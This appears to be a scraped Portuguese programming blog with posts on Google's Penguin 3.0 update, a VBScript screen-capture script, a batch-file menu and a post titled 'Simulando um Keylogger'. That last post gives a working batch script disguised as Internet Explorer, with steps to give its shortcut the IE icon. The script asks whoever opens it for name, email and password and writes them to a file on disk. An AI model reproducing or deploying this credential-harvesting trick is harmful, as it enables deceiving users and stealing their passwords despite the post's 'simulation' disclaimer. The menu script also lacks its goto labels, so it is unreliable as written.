<td><input type="button" value="+" class="btn" id="btnu" onclick="AddBox('+')" onmouseover="btnu.style.background = '#808080'" onmouseout="btnu.style.background = '#FFFFFF'"></td>
</tr>
</table>
</body>
</html>

Pinguim 3.0 da Google

2014-10-26T23:24:00.000-02:00

Pinguim 3.0 do Google.

Google disponibiliza atualização do Pinguim 3.0, oficialmente lançada no dia 21 de outubro de 2014, mas o que é mesmo este tal de pinguim? pois bem pinguim é um algorítimo desenvolvido pela Google e tem como finalidade filtrar informações de web sites, e ver se estes não estão se utilizando de técnicas black Hat, spans entre outros, inicialmente o pinguim teve sua primeira versão lançada em 24 de abril de 2012 versão 1.0

A ideai central deste algorítimo é manter o conteúdo de qualidade das web pages, SERP's (Search Engine results Pages) conforme já mencionando, o pinguim, é focado basicamente na remoção de web spam tais como palavras-chave desnecessária, que não tem a ver com o conteúdo da página, Keywords na cor do plano de fundo do site em fim qualquer prática que caracterize Black Hat.

Não se sabe ao certo quais os critérios desta nova versão, qual o formato de penalização e até das otimizações dos conteúdos, más de uma coisa tenha certeza fique atento com as práticas que você utiliza na criação de conteúdo de suas Web pages fuja de robôs geradores de back links não saia fazendo spam feito louco pois estas práticas alem de maliciosas estão totalmente obsoletas e só lhe trarão transtornos.

Dizem até que este algorítimo está menos prezando os site de programas de afiliados já que estes sempre estão deixando links, e estimulando que as pessoas cliquem, nos mesmos, que geralmente são direcionados para páginas de vendas de alguns produtos, ou seja que só tem como finalidade vender recentemente, o Google também alegou que está dando mais credibilidade para os sites que utilizam o formato HTTPS (HyperText Transfer Protocol Secure - protocolo de transferência de hipertexto seguro) e que utiliza o protocolo SSL.

Espera ai! este algorítimo não tem como intuito prejudicar ninguém, a não ser que você melhor seu site esteja fora das normas do Google. Bom basicamente é isso fica a dica por simples que seja teu conteúdo mas que seja seu, ou se copiado alguns trechos cite a fonte, não faça mais Spam .

Dúvidas pergunte, o espaço de comentário foi feito exclusivamente pra você!

Capturando telas com vbscript

2014-10-19T21:55:00.002-02:00

Capturando telas com vbscript.

Segue pequeno programa em vbscript, para captura de telas, este pequeno script faze-rá o seguinte, ao clicar no mesmo ele captura a tela e em seguida cola esta no Mspaint ou Word. Ou como preferir, a ideia é de certa forma automatizar as tarefas.

Basta copiar o código abaixo e colar em um bloco de notas, e salvar com um nome de sua preferência com a extensão .vbs.

Segue Vídeo tutorial aqui

Set Wshshell=CreateObject("word.basic")

'ativar a tecla prtScr

WshShell.sendkeys "(%{1068})"

'time 1500 mile segundos

WScript.Sleep 1500

set Wshshell = WScript.CreateObject("WScript.Shell")

'executa Mspaint

wshshell.run "mspaint"

WScript.Sleep 500

WshShell.AppActivate "word"

WScript.Sleep 5000

'ativa as teclas control C e control V

wshshell.SendKeys "^{v}"

WScript.Sleep 1500

Menu personalizado em .bat

2014-10-11T11:45:00.002-03:00

Hoje disponibilizaremos um menu personalizado em .bat, como você mesmo pode perceber na imagem acima, o código que será disponível logo abaixo, basta copiar e cola-lo em um bloco de notas e depois salve-o com um nome de sua preferência com a extensão .bat . o menu ficará exatamente igual o da imagem, não vou entrar no mérito do código pois é bem simples fazer as alterações. Agora se preferir assista nossa vídeo tutorial explicando o código.

Vídeo tutorial aqui

Segue código do programa:

@echo off

color f0

echo off

title programador fit meu personalizado em .bt

cls

time /t

date /t

:menu

echo ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»

echo º programador fit menu personalizado em .bat º

echo º º

echo ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹

echo º º

echo º Para acessar basta escolher uma opcao: º

echo º º

echo ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹

echo º ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º

echo º ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ º

echo º º1:Calculadora ºº2:Redes conexaoºº 3: Facebook º º

echo º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼ º

echo º ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» º

echo º ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ º

echo º º4:Sair º º

echo º ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼ º

echo º º

echo ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼

set /p opcao=Digite a opcao.......

if %opcao% equ 1 goto 1

if %opcao% equ 2 goto 2

if %opcao% equ 3 goto 3

if %opcao% equ 4 goto 4

start calc

cls

goto menu

start ncpa.cpl

cls

goto menu

start http://facebook.com.br

cls

goto menu

start exit

cls

goto exit

Simulando um Keylogger

2014-09-30T13:25:00.004-03:00

Simulando um Keylogger.

Você sabe o que é um keylogger?

pois bem keylogger, é um programa malicioso do tipo Spyware e tem como objetivo capturar informações do usuário, na verdade ele registra tudo que é digitado e salva em um local especifico. Ou seja é um registrador de teclado, então para você entender melhor vamos disponibilizar um script que simula um keylogger. este script é bem simples é em formato bat.

Para isso basta copiar o código abaixo, e o cole em um bloco de notas, agora salve-o como .bat fique a vontade para fazer as alterações necessárias, este script vai fazer o seguinte, após o ter salvo como .bat agora clique com o direito do mouse crie um atalho, porque isso? espere você vai entender, vamos mudar o ícone padrão que é uma engrenagem, após ter criado este atalho agora novamente

clique com o direito no atalho que você criou depois em propriedade agora clique em alterar ícone vai se abrir uma caixa com os ícones do Windows procure pelo ícone do internet Explorer selecione este agora seu programa .bat não estará mais com aquele ícone padrão ou seja a engrenagem.

Agora sempre que alguém clicar no navegador internet Explore ele abrirá uma tela em formato ms dos pedindo autenticação ou seja usuário e senha, quando o usuário digitar estas informações ela será salva pra você em uma pasta especifica, no nosso caso melhor do nosso script simulador do keylogger criamos uma pasta com o nome bat esta foi criada no C: então não esqueça de criar esta pasta faça primeiro o teste depois mude a pasta para um local especifico de sua preferência.

OBS: criar uma pasta no disco c: com o nome Bat ou se preferir mude no código.

Vale lembrar que de forma alguma estamos incentivando prática ilícitas apenas estamos tentando mostrar na prática como um keylogger funciona logico que estamos simulando de forma bem simplista e com certeza não acarretará nem um tipo de transtorno para o usuário.

Copie e cole em um bloco de notas, agora salve como .bat

@echo off

title internet Explorer

cls

echo.

echo -- O navegador internet Explorer esta protegido

echo.

echo -- E preciso entrar com seu email e senha !

echo.

echo -- pois este computador esta protegido.

echo.

set /p nome=Nome:

set /p us=Email:

set /p pass=Email Passwor:

msg * obrigado voce agora ja pode usar o explorer.

start iexplore.exe

echo dia %date% Hora %time% %n% logon no email: %us% Nome: %nome% e password:%pass% >"c:\bat\%n%.txt"

ping locallhost -n 2 >nul

exit